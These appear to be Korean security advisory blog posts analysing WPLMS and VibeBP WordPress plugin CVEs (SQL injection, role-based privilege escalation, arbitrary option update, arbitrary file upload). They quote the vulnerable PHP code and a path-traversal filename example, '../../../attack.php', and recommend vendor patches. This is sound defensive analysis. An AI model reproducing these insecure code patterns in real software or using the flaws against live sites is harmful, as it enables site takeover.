20     $name = bp_core_get_user_displayname($body['ids']['item_id']);
21     
22     
23     break;
24     case 'group':
25     $key = 'group_'.$body['ids']['item_id'];
26     $avatar = bp_core_fetch_avatar(array(
27     'item_id' => (int)$body['ids']['item_id'],
28     'object'  => 'group',
29     'type'=>'thumb',
30     'html'    => false
31     ));
32     global $wpdb,$bp;
33     $name = $wpdb->get_var("SELECT name from {$bp->groups->table_name} WHERE id=".$body['ids']['item_id']);
34     ------------- CUT HERE -------------

 

3.4 CVE-2024-56041 [8][9]

[사진 4] CVE-2024-56041

- VibeBP에서 발생하는 SQL Injection 취약점

영향받는 버전 : VibeBP < 1.9.9.5.1

 

- include/buddypress/class-api-messages-controller.php의 remove_message_label()에 취약점 존재
> json/vbp/v1/messages/label/remove의 REST 엔드포인트를 처리

 

> Line2 ~ Line3 : 클라이언트로부터 전달받은 요청의 Body를 JSON으로 디코딩 및 재귀적으로 필터링한 후 $body에 할당
> Line14 및 Line16 : $body['slug']를 $slug에 할당한 후 이를 포함해 SQL 쿼리 실행 및 결과를 $labels_count에 할당

 

- $slug 값에 대한 적절한 검증 없이 get_results()에 포함되어 SQL 쿼리에 사용되므로, SQL Injection 취약점이 발생

includes/buddypress/class-api-messages-controller.php, function remove_message_label()
1     function remove_message_label($request){
2     $body = json_decode($request->get_body(),true);
3     $body = vibebp_recursive_sanitize_text_field($body);
4     $labels = get_user_meta($this->user->id,'vibebp_message_labels',true);
5     if(!empty($labels)){
6     $remove = 0;
7     foreach($labels as $k=>$l){
8     if($l['slug'] === $body['slug']){
9     $remove = $k;
10     break;
11     }
12     }
13     $label_key = 'vibebp_label_'.$this->user->id;
14     $slug = $body['slug'];
15     global $wpdb,$bp;
16     $labels_count = $wpdb->get_results("DELETE FROM {$bp->messages->table_name_meta} WHERE meta_key = '$label_key' AND meta_value = '$slug'");
17     unset($labels[$remove]);
18     update_user_meta($this->user->id,'vibebp_message_labels',$labels);
19     }
20     
21     return new WP_REST_Response( array('status'=>1,'labels'=>$labels,'message'=>_x('Label removed.','message','vibebp')), 200 ); 
22     }

4. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]
> WPLMS Plugin 1.9.9.5.3
> Vibebp 1.9.9.7.7
> 관련된 변수 및 코드에 적절한 이스케이프를 적용

5. 참고

[1] https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wplms-and-vibebp-plugins/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-56042
[3] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-3-unauthenticated-sql-injection-vulnerability
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-56047
[5] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-3-subscriber-sql-injection-vulnerability
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-56039
[7] https://patchstack.com/database/wordpress/plugin/vibebp/vulnerability/wordpress-vibebp-plugin-1-9-9-7-7-unauthenticated-sql-injection-vulnerability
[8] https://nvd.nist.gov/vuln/detail/CVE-2024-56041
[9] https://patchstack.com/database/wordpress/plugin/vibebp/vulnerability/wordpress-vibebp-plugin-1-9-9-5-1-sql-injection-vulnerability
[10] https://wplms.io/support/knowledge-base/vibebp-1-9-9-7-7-wplms-plugin-1-9-9-5-2/
[11] https://asec.ahnlab.com/ko/85311/

1. WPLMS 플러그인 (WordPress Learning Management System)

- WordPress를 사용해 LMS를 구축할 수 있도록 돕는 플러그인

※ Learning Management System : 학습 관리 시스템, 온라인으로 학생들의 학습을 관리할 수 있게 해주는 소프트웨어

2. VibeBP (Vibe BuddyPress Plugin)

- WPLMS와 함께 사용되는 플러그인으로, 강력한 소셜 네트워킹 및 회원 관리 기능을 제공

3. 취약점

3.1 CVE-2024-56043 [2][3]

[사진 1] CVE-2024-56043

- WPLMS의 잘못된 권한 할당으로 인한 권한 상승 취약점 (CVSS: 9.8)

영향받는 버전 : WPLMS <= 1.9.9

 

- includes/vibe-shortcodes/ajaxcalls.php의 wplms_register_user()에 취약점 존재

> wp_ajax_nopriv_wplms_register_user()에 의해 호출되어, 사용자 등록(≒ 회원가입)을 처리하는 함수
> Line7 : 사용자 입력인 $_POST['settings'] 값을 JSON으로 디코딩하여 $settings에 할당
> Line59 ~ Line62 : $setting 객체의 id 값을 확인해 default_role인 경우 $setting 객체의 value 값을 $user_args['role']에 할당
> Line100 : wp_insert_user($user_args)를 사용해 새로운 사용자 생성

※ WordPress의 default_role은 6가지의 값을 가짐 : Super Admin, Administrator, Editor, Author, Contributor, Subscriber [4]

 

- 사용자 입력으로 전달된 default_role에 대한 검증 없이 user_args['role']에 할당되므로, 임의의 역할을 지정해 권한을 상승(Super Admin, Administrator)할 수 있음

includes/vibe-shortcodes/ajaxcalls.php, function wplms_register_user()
1     function wplms_register_user(){
2         if ( !isset($_POST['security']) || !wp_verify_nonce($_POST['security'],'bp_new_signup') || !isset($_POST['settings'])){
3             echo '<div class="message">'.__('Security check Failed. Contact Administrator.','wplms').'</div>';
4             die();
5         }
6         $flag = 0;
7         $settings = json_decode(stripslashes($_POST['settings']));
8         if(empty($settings)){
9             $flag = 1; 
10         }
11     ------------- CUT HERE -------------
12     
13         $user_args = $user_fields = $save_settings = array();
14     
15         if(empty($flag)){
16     
17     ------------- CUT HERE -------------
18     
19             foreach($settings as $setting){
20     
21                 if(!empty($setting->id)){
22                     $settings2[] = $setting->id;
23                     if($setting->id == 'signup_username'){
24                         $user_args['user_login'] = $setting->value;
25                     }else if($setting->id == 'signup_email'){
26                         $user_args['user_email'] = $setting->value;
27                     }else if($setting->id == 'signup_password'){
28                         $user_args['user_pass'] = $setting->value;
29                     }else{
30                         if(strpos($setting->id,'field') !== false){
31     
32                             $f = explode('_',$setting->id);
33                             $field_id = $f[1]; 
34                             if(strpos($field_id, '[')){ //checkbox
35                                 $v = str_replace('[','',$field_id);
36                                 $v = str_replace(']','',$v);
37                                 $field_id = $v;
38                                 if(is_Array($user_fields[$field_id]['value'])){
39                                     $user_fields[$field_id]['value'][] = $setting->value;
40                                 }else{
41                                     $user_fields[$field_id] = array('value'=>array($setting->value));
42                                 }
43                             }else{
44                                 if(is_numeric($field_id) && !isset($f[2])){
45                                     $user_fields[$field_id] = array('value'=>$setting->value);
46                                 }else{
47                                     if(in_array($f[2],array('day','month','year'))){
48                                         $user_fields['field_' . $field_id . '_'.$f[2]] = $setting->value;
49                                     }else{
50                                         $user_fields[$field_id]['visibility']=$setting->value;    
51                                     }
52                                 }
53                             }
54                             
55                         }else{
56                             if(isset($form_settings[$setting->id])){
57                             
58                                 $form_settings[$setting->id] = 0; // use it for empty check 
59                                 if($setting->id=='default_role'){
60                                     $save_settings[$setting->id]=$setting->value;
61                                     $user_args['role'] = $setting->value;
62                                 }
63                                 if($setting->id=='member_type'){
64                                     $save_settings[$setting->id]=$setting->value;
65                                     $member_type=$setting->value;
66                                 }
67                                 if($setting->id=='wplms_user_bp_group'){
68                                     if(in_array($setting->value,$reg_form_settings['settings']['wplms_user_bp_group']) || $reg_form_settings['settings']['wplms_user_bp_group'] === array('enable_user_select_group')){
69                                         $save_settings[$setting->id]=$setting->value;
70                                         $wplms_user_bp_group = $setting->value;
71                                     }else{
72                                         echo '<div class="message_wrap"><div class="message error">'._x('Invalid Group selection','error message when group is not valid','wplms').'<span></span></div></div>';
73                                         die();
74                                     }
75                                     
76                                 }
77                             }
78                             
79                         }
80                     }
81                 }
82             }
83             if(!in_array('wplms_user_bp_group', $settings2)){
84                 if(!empty($reg_form_settings['settings']['wplms_user_bp_group']) && is_array($reg_form_settings['settings']['wplms_user_bp_group']) && $reg_form_settings['settings']['wplms_user_bp_group'] !== array('enable_user_select_group') && count($reg_form_settings['settings']['wplms_user_bp_group'])==1){
85                     $wplms_user_bp_group = $reg_form_settings['settings']['wplms_user_bp_group'][0];
86                 }
87             }
88         }
89     
90     ------------- CUT HERE -------------
91     
92         /*
93         FORM SETTINGS
94         */
95         if(empty($form_settings['hide_username'])){
96             $user_args['user_login'] = $user_args['user_email'];
97         }
98         $user_id = 0;
99         if(empty($form_settings['skip_mail'])){
100             $user_id = wp_insert_user($user_args);
101     
102     ------------- CUT HERE -------------

 

3.2 CVE-2024-56048 [5][6]

[사진 2] CVE-2024-56048

- WPLMS의 권한 검증 누락으로 인한 권한 확대 취약점

영향받는 버전 : WPLMS <= 1.9.9

 

- include/vibe-customtypes/includes/musettings.php의 update_license_key()에 취약점 존재
> Line2 ~ Line5 : 해당 요청이 WordPress 내에서 생성된 유효한 요청인지 확인
> Line6 ~ Line9 : $_POST['addon'] 및 $_POST['key'] 값이 비어있지 않은지 확인
> Line10 : $_POST['addon'] 및 $_POST['key'] 값을 사용해 옵션 값 업데이트

 

각 값에 대한 검증이 누락되어, 권한을 확대할 수 있음
> wp_verify_nonce()에 사용되는 nonce 값은 인증된 사용자의 경우 누구나 검증 우회 가능
> $_POST['addon'] 및 $_POST['key'] 값이 비어있는지만 검증 하므로 임의의 값을 전달할 수 있음
> $_POST['addon'] 및 $_POST['key'] 값을 사용해 원하는 만큼 검증 없이 옵션 값 업데이트 가능

includes/vibe-customtypes/includes/musettings.php, function update_license_key()
1     function update_license_key(){
2     if ( !isset($_POST['security']) || !wp_verify_nonce($_POST['security'],'security')){
3     _e('Security check Failed. Contact Administrator.','wplms');
4     die();
5     }
6     if(empty($_POST['addon']) || empty($_POST['key'])){
7     _e('Unable to update key.','wplms');
8     die();
9     }
10     update_option($_POST['addon'],$_POST['key']);
11     echo apply_filters('wplms_addon_license_key_updated',__('Key Updated.','wplms'));
12     die();
13     }

 

3.3 CVE-2024-56040 [7][8]

[사진 3] CVE-2024-56040

- VibeBP의 잘못된 권한 할당으로 인한 권한 상승 취약점 (CVSS: 9.8)

영향받는 버전 : VibeBP <= 1.9.9.4.1

 

- includes/class.ajax.php의 vibebp_register_user()에 취약점 존재
> wp_ajax_nopriv_wplms_register_user()에 의해 호출되어, 사용자 등록(≒ 회원가입)을 처리하는 함수
> Line7 : 사용자 입력인 $_POST['settings'] 값을 JSON으로 디코딩하여 $settings에 할당
> Line60 ~ Line63 : $setting 객체의 id 값을 확인해 default_role인 경우 $setting 객체의 value 값을 $user_args['role']에 할당
> Line138 : wp_insert_user($user_args)를 사용해 새로운 사용자 생성

 

- 사용자 입력으로 전달된 default_role에 대한 검증 없이 user_args['role']에 할당되므로, 임의의 역할을 지정해 권한을 상승(Super Admin, Administrator)할 수 있음

includes/class.ajax.php, function vibebp_register_user()
1     function vibebp_register_user(){
2         if ( !isset($_POST['security']) || !wp_verify_nonce($_POST['security'],'bp_new_signup') || !isset($_POST['settings'])){
3             echo '<div class="message">'.__('Security check Failed. Contact Administrator.','wplms').'</div>';
4             die();
5         }
6         $flag = 0;
7         $settings = json_decode(stripslashes($_POST['settings']));
8         if(empty($settings)){
9             $flag = 1; 
10         }
11     
12     ------------- CUT HERE -------------
13     
14         $user_args = $user_fields = $save_settings = array();
15     
16         if(empty($flag)){
17     
18     ------------- CUT HERE -------------
19     
20             foreach($settings as $setting){
21     
22                 if(!empty($setting->id)){
23                     $settings2[] = $setting->id;
24                     if($setting->id == 'signup_username'){
25                         $user_args['user_login'] = $setting->value;
26                     }else if($setting->id == 'signup_email'){
27                         $user_args['user_email'] = $setting->value;
28                     }else if($setting->id == 'signup_password'){
29                         $user_args['user_pass'] = $setting->value;
30                     }else{
31                         if(strpos($setting->id,'field') !== false){
32     
33                             $f = explode('_',$setting->id);
34                             $field_id = $f[1]; 
35                             if(strpos($field_id, '[')){ //checkbox
36                                 $v = str_replace('[','',$field_id);
37                                 $v = str_replace(']','',$v);
38                                 $field_id = $v;
39                                 if(is_Array($user_fields[$field_id]['value'])){
40                                     $user_fields[$field_id]['value'][] = $setting->value;
41                                 }else{
42                                     $user_fields[$field_id] = array('value'=>array($setting->value));
43                                 }
44                             }else{
45                                 if(is_numeric($field_id) && !isset($f[2])){
46                                     $user_fields[$field_id] = array('value'=>$setting->value);
47                                 }else{
48                                     if(in_array($f[2],array('day','month','year'))){
49                                         $user_fields['field_' . $field_id . '_'.$f[2]] = $setting->value;
50                                     }else{
51                                         $user_fields[$field_id]['visibility']=$setting->value;    
52                                     }
53                                 }
54                             }
55                             
56                         }else{
57                             if(isset($form_settings[$setting->id])){
58                             
59                                 $form_settings[$setting->id] = 0; // use it for empty check 
60                                 if($setting->id=='default_role'){
61                                     $save_settings[$setting->id]=$setting->value;
62                                     $user_args['role'] = $setting->value;
63                                 }
64                                 if($setting->id=='member_type'){
65                                     $save_settings[$setting->id]=$setting->value;
66                                     $member_type=$setting->value;
67                                 }
68                                 if($setting->id=='vibebp_user_bp_group'){
69                                     if(in_array($setting->value,$reg_form_settings['settings']['vibebp_user_bp_group']) || $reg_form_settings['settings']['vibebp_user_bp_group'] === array('enable_user_select_group')){
70                                         $save_settings[$setting->id]=$setting->value;
71                                         $vibebp_user_bp_group = $setting->value;
72                                     }else{
73                                         echo '<div class="message_wrap"><div class="message error">'._x('Invalid Group selection','error message when group is not valid','wplms').'<span></span></div></div>';
74                                         die();
75                                     }
76                                     
77                                 }
78                             }
79                             
80                         }
81                     }
82                 }
83             }
84             if(!in_array('vibebp_user_bp_group', $settings2)){
85                 if(!empty($reg_form_settings['settings']['vibebp_user_bp_group']) && is_array($reg_form_settings['settings']['vibebp_user_bp_group']) && $reg_form_settings['settings']['vibebp_user_bp_group'] !== array('enable_user_select_group') && count($reg_form_settings['settings']['vibebp_user_bp_group'])==1){
86                     $vibebp_user_bp_group = $reg_form_settings['settings']['vibebp_user_bp_group'][0];
87                 }
88             }
89         }
90     
91     
92     
93         $user_args = apply_filters('vibebp_register_user_args',$user_args);
94         
95     
96         //hook for validations externally
97         do_action('vibebp_custom_registration_form_validations',$name,$settings,$all_form_settings,$user_args);
98         do_action('wplms_custom_registration_form_validations',$name,$settings,$all_form_settings,$user_args);
99     
100         /*
101         RUN CONDITIONAL CHECKS
102         */
103         $check_filter = filter_var($user_args['user_email'], FILTER_VALIDATE_EMAIL); // PHP 5.3
104         if(empty($user_args['user_email']) || empty($user_args['user_pass']) || empty($check_filter)){
105             echo '<div class="message_wrap"><div class="message error">'._x('Invalid Email/Password !','error message when registration form is empty','wplms').'<span></span></div></div>';
106             die();
107         }
108     
109         //Check if user exists
110         if(!isset($user_args['user_email']) || email_exists($user_args['user_email'])){
111             echo '<div class="message_wrap"><div class="message error">'._x('Email already registered.','error message','wplms').'<span></span></div></div>';
112             die();
113         }
114     
115         //Check if user exists
116         if(!isset($user_args['user_login'])){
117     
118             $user_args['user_login'] = $user_args['user_email'];
119             if(email_exists($user_args['user_login'])){
120                 echo '<div class="message_wrap"><div class="message error">'._x('Username already registered.','error message','wplms').'<span></span></div></div>';
121                 die();
122             }
123         }elseif (username_exists($user_args['user_login'])){
124             echo '<div class="message_wrap"><div class="message error">'._x('Username already registered.','error message','wplms').'<span></span></div></div>';
125             die();
126         }
127         
128     ------------- CUT HERE -------------
129     
130         /*
131         FORM SETTINGS
132         */
133         if(empty($form_settings['hide_username'])){
134             $user_args['user_login'] = $user_args['user_email'];
135         }
136         $user_id = 0;
137         if(empty($form_settings['skip_mail'])){
138             $user_id = wp_insert_user($user_args);
139     
140     ------------- CUT HERE -------------

4. 대응방안

- 벤더사 제공 업데이트 적용 [9][10]
> WPLMS Plugin 1.9.9.5.3
> Vibebp 1.9.9.7.7

> 사용자가 등록할 수 있는 역할을 제한하는 패치 적용
> 추가 권한 검사를 구현하고 업데이트할 수 있는 옵션 이름에 대한 허용 목록 검사 적용

5. 참고

[1] https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wplms-and-vibebp-plugins/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-56043
[3] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-unauthenticated-privilege-escalation-vulnerability
[4] https://developer.wordpress.org/plugins/users/roles-and-capabilities/
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-56048
[6] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-arbitrary-option-update-to-privilege-escalation-vulnerability
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-56040
[8] https://patchstack.com/database/wordpress/plugin/vibebp/vulnerability/wordpress-vibebp-plugin-1-9-9-4-1-unauthenticated-privilege-escalation-vulnerability
[9] https://wplms.io/support/knowledge-base/vibebp-1-9-9-7-7-wplms-plugin-1-9-9-5-2/
[10] https://asec.ahnlab.com/ko/85311/

1. WPLMS 플러그인 (WordPress Learning Management System)

- WordPress를 사용해 LMS를 구축할 수 있도록 돕는 플러그인

※ Learning Management System : 학습 관리 시스템, 온라인으로 학생들의 학습을 관리할 수 있게 해주는 소프트웨어

2. 취약점

2.1 CVE-2024-56046 [2][3]

[사진 1] CVE-2024-56046

- WPLMS에서 발생하는 파일 업로드 취약점 (CVSS: 10.0)

영향받는 버전 : WPLMS <= 1.9.9

 

- includes/vibe-shortcodes/shortcodes.php의 wplms_form_uploader_plupload()에 취약점 존재
> Line9 : $_REQUEST["name"] 값을 우선적으로 $fileName에 할당하며, 해당 값이 없을 경우 $_FILES["file"]["name"] 값을 사용
> Line17 : $fileName은 파일 저장 경로를 결정하는데 사용됨

 

- name 파라미터는 사용자 요청으로부터 추출 (Line9)
> 해당 값에 대한 검증 없이 사용하여 악의적인 파일(Ex. "../../../attack.php")을 사용해 파일을 업로드할 수 있음

 

- $fileName을 기반으로 서버의 특정 경로에 저장
> 해당 값에 대한 검증이 없어 임의 디렉터리에 악의적인 파일을 업로드할 수 있음

includes/vibe-shortcodes/shortcodes.php, function wplms_form_uploader_plupload()
1     function wplms_form_uploader_plupload(){
2       check_ajax_referer('wplms_form_uploader_plupload');
3     
4       if (empty($_FILES) || $_FILES['file']['error']) {
5           die('{"OK": 0, "info": "Failed to move uploaded file."}');
6       }
7       $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
8       $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
9       $fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"];
10     
11       $upload_dir_base = wp_upload_dir();
12       $folderPath = $upload_dir_base['basedir']."/wplms_form_uploader";
13       if(function_exists('is_dir') && !is_dir($folderPath)){
14           if(function_exists('mkdir')) 
15               mkdir($folderPath, 0755, true) || chmod($folderPath, 0755);
16       }
17       $filePath = $folderPath."/$fileName";
18     
19       // Open temp file
20       if($chunk == 0) 
21           $perm = "wb" ;
22       else 
23           $perm = "ab";
24     
25       $out = @fopen("{$filePath}.part",$perm );
26     
27       if ($out) {
28         // Read binary input stream and append it to temp file
29         $in = @fopen($_FILES['file']['tmp_name'], "rb");
30         
31         if ($in) {
32           while ($buff = fread($in, 4096))
33             fwrite($out, $buff);
34         } else
35           die('{"OK": 0, "info": "Failed to open input stream."}');
36         
37         @fclose($in);
38         @fclose($out);
39         
40         @unlink($_FILES['file']['tmp_name']);
41       } else
42         die('{"OK": 0, "info": "Failed to open output stream."}');
43     
44       // Check if file has been uploaded
45       if (!$chunks || $chunk == $chunks - 1) {
46         // Strip the temp .part suffix off
47           rename("{$filePath}.part", $filePath);
48           
49       }
50       die('{"OK": 1, "info": "Upload successful."}');
51       exit;
52     }

 

2.2 CVE-2024-56050 [4][5]

[사진 2] CVE-2024-56050

- WPLMS에서 발생하는 파일 업로드 취약점 (CVSS: 9.9)

영향받는 버전 : WPLMS < 1.9.9.5.3

 

- includes/vibe-shortcodes/upload_handler.php의 wp_ajax_zip_upload()에 취약점 존재
> Line4 ~ Line8 : 사용자 요청에서 값을 추출해 변수 할당
> Line18 ~ Line19 : Zip 파일 내 다른 파일이 있는 경우 extractZip()을 통해 파일 내 모든 내용을 추출
> 사용자 요청에서 추출한 값을 검증없이 사용하여 취약점 발생

 

extractZip()
> Line6 : extractTo()를 사용해 Zip 파일내 모든 파일을 $target 디렉터리에 추출
파일에 대한 검증없이 추출되어 취약점 발생
> attack.php 등의 악의적 파일을 포함한 Zip 파일을 업로드할 수 있는 문제 발생

includes/vibe-shortcodes/upload_handler.php, function wp_ajax_zip_upload()
1     function wp_ajax_zip_upload(){
2     $arr = array();
3     
4     $file = $_FILES['uploadedfile']['tmp_name'];
5     $dir = explode(".",$_FILES['uploadedfile']['name']);
6     $dir[0] = str_replace(" ","_",$dir[0]);
7     $target = $this->getUploadsPath().$dir[0];
8     $index = count($dir) -1;
9     
10     if (!isset($dir[$index]) || $dir[$index] != "zip")
11     $arr[0] = __('The Upload file must be zip archive','wplms');
12     else{
13     while(file_exists($target)){
14     $r = rand(1,10);
15     $target .= $r;
16     $dir[0] .= $r;
17     }
18     if (!empty($file))
19     $arr = $this->extractZip($file,$target,$dir[0]);
20     else
21     $arr[0] = __('File too big','wplms');
22     }
23     echo json_encode($arr);
24     die();
25     }

includes/vibe-shortcodes/upload_handler.php, function extractZip()
1     function extractZip($fileName,$target,$dir){
2     $arr = array();
3     $zip = new ZipArchive;
4     $res = $zip->open($fileName);
5     if ($res === TRUE) {
6     $zip->extractTo($target);
7     $zip->close();
8     $file = $this->getFile($target);
9     ;
10     if($file){
11     $arr[0] = 'uploaded'; 
12     $arr[1] = $this->getUploadsUrl().$dir."/".$file; 
13     $arr[2] = $dir;
14     $arr[3] =$file;
15     $arr[4] = $this->getUploadsPath().$dir; 
16     }else{
17     $arr[0] = __('Please upload zip file, Index.html file not found in package','wplms').$target.print_r($file);
18     $this->rrmdir($target);
19     }
20     }else{
21     $arr[0] = __('Upload failed !','wplms');;
22     }
23     return  $arr;
24     }

 

2.3 CVE-2024-56052 [6][7]

[사진 3] CVE-2024-56052

- WPLMS에서 발생하는 파일 업로드 취약점 (CVSS: 9.9)

영향받는 버전 : WPLMS < 1.9.9.5.3

 

- includes/assignments/assignments.php의 wplms_assignment_plupload()에 취약점 존재
> Line2 ~ Line4 : WordPress 내에서 생성된 요청인지와 로그인 유무를 검증
> Line18 : $user_id 및 $assignment_id를 기반으로 $folderPath 생성

 

- $assignment_id에 대한 유효성 검증이 없어 임의 디렉터리에 악의적인 파일을 업로드할 수 있음

includes/assignments/assignments.php, function wplms_assignment_plupload()
1     function wplms_assignment_plupload(){
2       check_ajax_referer('wplms_assignment_plupload');
3       if(!is_user_logged_in())
4           die('user not logged in');
5     
6       $user_id = get_current_user_id();
7       
8       if (empty($_FILES) || $_FILES['file']['error']) {
9         die('{"OK": 0, "info": "Failed to move uploaded file."}');
10       }
11     
12       $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
13       $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
14       $fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"];
15       
16       $upload_dir_base = wp_upload_dir();
17       $assignment_id = $_POST['assignment_id'];
18       $folderPath = $upload_dir_base['basedir']."/wplms_assignments_folder/".$user_id.'/'.$assignment_id;
19       if(function_exists('is_dir') && !is_dir($folderPath)){
20           if(function_exists('mkdir')) 
21               mkdir($folderPath, 0755, true) || chmod($folderPath, 0755);
22       }
23     
24     
25       $filePath = $folderPath."/$fileName";
26         /*if(function_exists('file_exists') && file_exists($filePath)){
27           echo __(' Chunks upload error ','wplms'). $fileName.__(' already exists.Please rename your file and try again ','wplms');
28           die();
29         }*/
30       // Open temp file
31       if($chunk == 0) $perm = "wb" ;
32       else $perm = "ab";
33     
34       $out = @fopen("{$filePath}.part",$perm );
35     
36       if ($out) {
37         // Read binary input stream and append it to temp file
38         $in = @fopen($_FILES['file']['tmp_name'], "rb");
39         
40         if ($in) {
41           while ($buff = fread($in, 4096))
42             fwrite($out, $buff);
43         } else
44           die('{"OK": 0, "info": "Failed to open input stream."}');
45         
46         @fclose($in);
47         @fclose($out);
48         
49         @unlink($_FILES['file']['tmp_name']);
50       } else
51         die('{"OK": 0, "info": "Failed to open output stream."}');
52         
53         
54       // Check if file has been uploaded
55       if (!$chunks || $chunk == $chunks - 1) {
56         // Strip the temp .part suffix off
57           rename("{$filePath}.part", $filePath);
58           
59       }
60       die('{"OK": 1, "info": "Upload successful."}');
61       exit;
62     }

3. 대응방안

- 벤더사 제공 업데이트 적용 [8][9]
> WPLMS Plugin 1.9.9.5.3

> 파일 이름과 유형을 확인하여 업로드할 수 있는 파일을 제한하는 패치 적용
> 영향을 받는 기능에 대한 추가 권한 확인을 구현하거나 영향을 받는 코드 제거

4. 참고

[1] https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wplms-and-vibebp-plugins/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-56046
[3] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-unauthenticated-arbitrary-file-upload-vulnerability
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-56050
[5] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-3-subscriber-arbitrary-file-upload-vulnerability
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-56052
[7] https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-student-arbitrary-file-upload-vulnerability
[8] https://wplms.io/support/knowledge-base/vibebp-1-9-9-7-7-wplms-plugin-1-9-9-5-2/
[9] https://asec.ahnlab.com/ko/85311/

+ Recent posts